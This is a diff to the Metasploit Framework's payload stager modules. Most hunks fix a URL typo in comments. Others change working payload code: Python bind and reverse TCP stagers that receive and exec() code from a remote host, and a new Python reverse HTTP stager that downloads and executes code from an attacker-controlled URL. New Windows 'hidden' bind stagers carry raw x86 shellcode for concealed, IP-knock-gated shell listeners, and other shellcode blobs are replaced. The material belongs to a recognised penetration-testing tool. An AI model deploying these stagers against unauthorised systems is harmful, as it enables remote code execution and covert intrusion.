01cb358dfa..35e7b8e09e 100644 --- a/modules/payloads/stagers/osx/x86/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb index 9888550ebe..2e0299919d 100644 --- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index 577f130e42..a5af65e17f 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index cf3aaad764..976537e477 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 8512cea249..4fd10de11d 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index cd9422023c..41d580e32b 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,36 +15,38 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Python connect stager', + 'Description' => 'Listen for a connection', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 - cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "s.listen(1)\n" - cmd += "c,a=s.accept()\n" - cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=c.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=c.recv(4096)\n" - cmd += "exec(d,{'s':c})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "s.listen(1)\n" + cmd << "c,a=s.accept()\n" + cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd << "d=c.recv(l)\n" + cmd << "while len(d) 'Python Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), + OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) + ], Msf::Handler::ReverseHttp) + end + + # + # Constructs the payload + # + def generate + lhost = datastore['LHOST'] || Rex::Socket.source_address + + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + target_url = 'http://' + target_url << lhost + target_url << ':' + target_url << datastore['LPORT'].to_s + target_url << '/' + target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) + + cmd = "import sys\n" + if datastore['PROXYHOST'].blank? + cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" + else + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" + cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" + end + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" + cmd << "exec(o.open('#{target_url}').read())\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub + end +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 765dc00f34..21e3959a09 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,34 +15,36 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Reverse Python connect back stager', + 'Description' => 'Connect back to the attacker', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 - cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=s.recv(4096)\n" - cmd += "exec(d,{'s':s})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) 'Hidden Bind Ipknock TCP Stager', + 'Description' => 'Listen for a connection. First, the port will need to be knocked from + the IP defined in KHOST. This IP will work as an authentication method + (you can spoof it with tools like hping). After that you could get your + shellcode from any IP. The socket will appear as "closed," thus helping to + hide the shellcode', + 'Author' => + [ + 'hdm', # original payload module (stager bind_tcp) + 'skape', # original payload module (stager bind_tcp) + 'sf', # original payload module (stager bind_tcp) + 'Borja Merino ' # Add Hidden Ipknock functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'RequiresMidstager' => false, + 'Offsets' => + { + 'LPORT' => [ 193, 'n' ], + 'KHOST' => [ 255, 'ADDR' ] + }, + 'Payload' => + # Length: 359 bytes + "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" + + "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" + + "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" + + "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" + + "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" + + "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + + "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" + + "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" + + "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" + + "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" + + "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" + + "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" + + "\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" + + "\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" + + "\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" + + "\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" + + "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" + + "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" + + "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" + + "\x01\xc3\x29\xc6\x75\xee\xc3" + } + )) + + register_options([ + OptAddress.new('KHOST', [true, "IP address allowed", nil]) + ]) + end +end diff --git a/modules/payloads/stagers/windows/bind_hidden_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_tcp.rb new file mode 100644 index 0000000000..267cccfc50 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_hidden_tcp.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + + def self.handler_type_alias + "bind_hidden_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Hidden Bind TCP Stager', + 'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host.', + 'Author' => + [ + 'hdm', # original payload module (stager bind_tcp) + 'skape', # original payload module (stager bind_tcp) + 'sf', # original payload module (stager bind_tcp) + 'Borja Merino ' # Add Hidden ACL functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'RequiresMidstager' => false, + 'Offsets' => + { + 'LPORT' => [ 193, 'n' ], + 'AHOST' => [ 255, 'ADDR' ] + }, + 'Payload' => + # Length: 343 bytes + "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" + + "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" + + "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" + + "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" + + "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" + + "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + + "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" + + "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" + + "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" + + "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" + + "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" + + "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" + + "\x17\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" + + "\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2\x20\x00\x53\x53\x57\x68\x94" + + "\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48\x57\x97\x68\x75\x6e\x4d\x61" + + "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" + + "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" + + "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" + + "\x01\xc3\x29\xc6\x75\xee\xc3" + } + )) + + register_options([ + OptAddress.new('AHOST', [true, "IP address allowed", nil]) + ]) + end + +end diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index 535621d933..610f82f536 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,33 +31,29 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 304+1, 'n' ], + 'LPORT' => [ 192, 'n' ], }, + # Technically this is the same as bind_tcp, but has been duplicated for + # backwards compatibility with tools that expect this payload name. 'Payload' => - "\xFC"+ - "\xE8\x56\x00\x00\x00\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C" + - "\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32" + - "\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07" + - "\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24" + - "\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8" + - "\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00\x31\xD2\x64\x8B\x52" + - "\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x6A\x18\x59\x31\xFF\x31" + - "\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x81" + - "\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDB\x5E\x53\x68\x8E" + - "\x4E\x0E\xEC\xFF\xD6\x89\xC7\x53\x68\x54\xCA\xAF\x91\xFF\xD6\x81" + - "\xEC\x00\x01\x00\x00\x50\x57\x56\x53\x89\xE5\xE8\x27\x00\x00\x00" + - "\x90\x01\x00\x00\xB6\x19\x18\xE7\xEC\xF2\x55\xC0\xE5\x49\x86\x49" + - "\xA4\x1A\x70\xC7\xA4\xAD\x2E\xE9\xD9\x09\xF5\xAD\xCB\xED\xFC\x3B" + - "\x57\x53\x32\x5F\x33\x32\x00\x5B\x8D\x4B\x20\x51\xFF\xD7\x89\xDF" + - "\x89\xC3\x8D\x75\x14\x6A\x07\x59\x51\x53\xFF\x34\x8F\xFF\x55\x04" + - "\x59\x89\x04\x8E\xE2\xF2\x2B\x27\x54\x68\x02\x02\x00\x00\xFF\x55" + - "\x30\x31\xC0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x17\xFF\x55\x2C\x89" + - "\xC7\x6A\x0A\x89\xE0\x6A\x04\x50\x6A\x17\x6A\x29\x57\xFF\x55\x1C" + - "\x58\x68\x00\x00\x00\x00\x31\xC9\x51\x51\x51\x51\x51\x68\x17\x00" + - "\xFF\xFF\x89\xE1\x6A\x1C\x51\x57\xFF\x55\x24\x31\xDB\x53\x57\xFF" + - "\x55\x28\x53\x53\x57\xFF\x55\x20\x89\xC7\x6A\x40\x5E\x56\xC1\xE6" + - "\x06\x56\xC1\xE6\x08\x56\x6A\x00\xFF\x55\x0C\x89\xC3\x6A\x00\x68" + - "\x00\x10\x00\x00\x53\x57\xFF\x55\x18\xFF\xD3" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + + "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + + "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + + "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + + "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + + "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" } )) end diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb index 6157346432..4a3adfc563 100644 --- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index db9746881c..c4934bad17 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,32 +26,26 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LPORT' => [ 197, 'n' ] }, + 'Offsets' => { 'LPORT' => [ 192, 'n' ] }, 'Payload' => - - # Name: stager_bind_tcp_nx - # Length: 295 bytes - # Port Offset: 197 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + - "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + - "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + - "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + - "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" + - "\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" + - "\x29\xC6\x85\xF6\x75\xEC\xC3" - + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + + "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + + "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + + "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + + "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + + "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" } )) end diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index 8cb3b3f4a7..79e518aaa1 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,43 +33,36 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'LPORT' => [ 197, 'n' ], - 'XORKey' => [ 257, '' ], - 'RC4Key' => [ 321, '' ] + 'LPORT' => [ 192, 'n' ], + 'XORKey' => [ 249, '' ], + 'RC4Key' => [ 311, '' ] }, 'Payload' => - - # Name: stager_bind_tcp_rc4 - # Length: 408 bytes - # Port Offset: 197 - # RC4Key Offset: 321 - # XORKey Offset: 257 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + - "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + - "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + - "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + - "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81" + - "\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56" + - "\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + - "\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00" + - "\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69" + - "\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31" + - "\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86" + - "\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07" + - 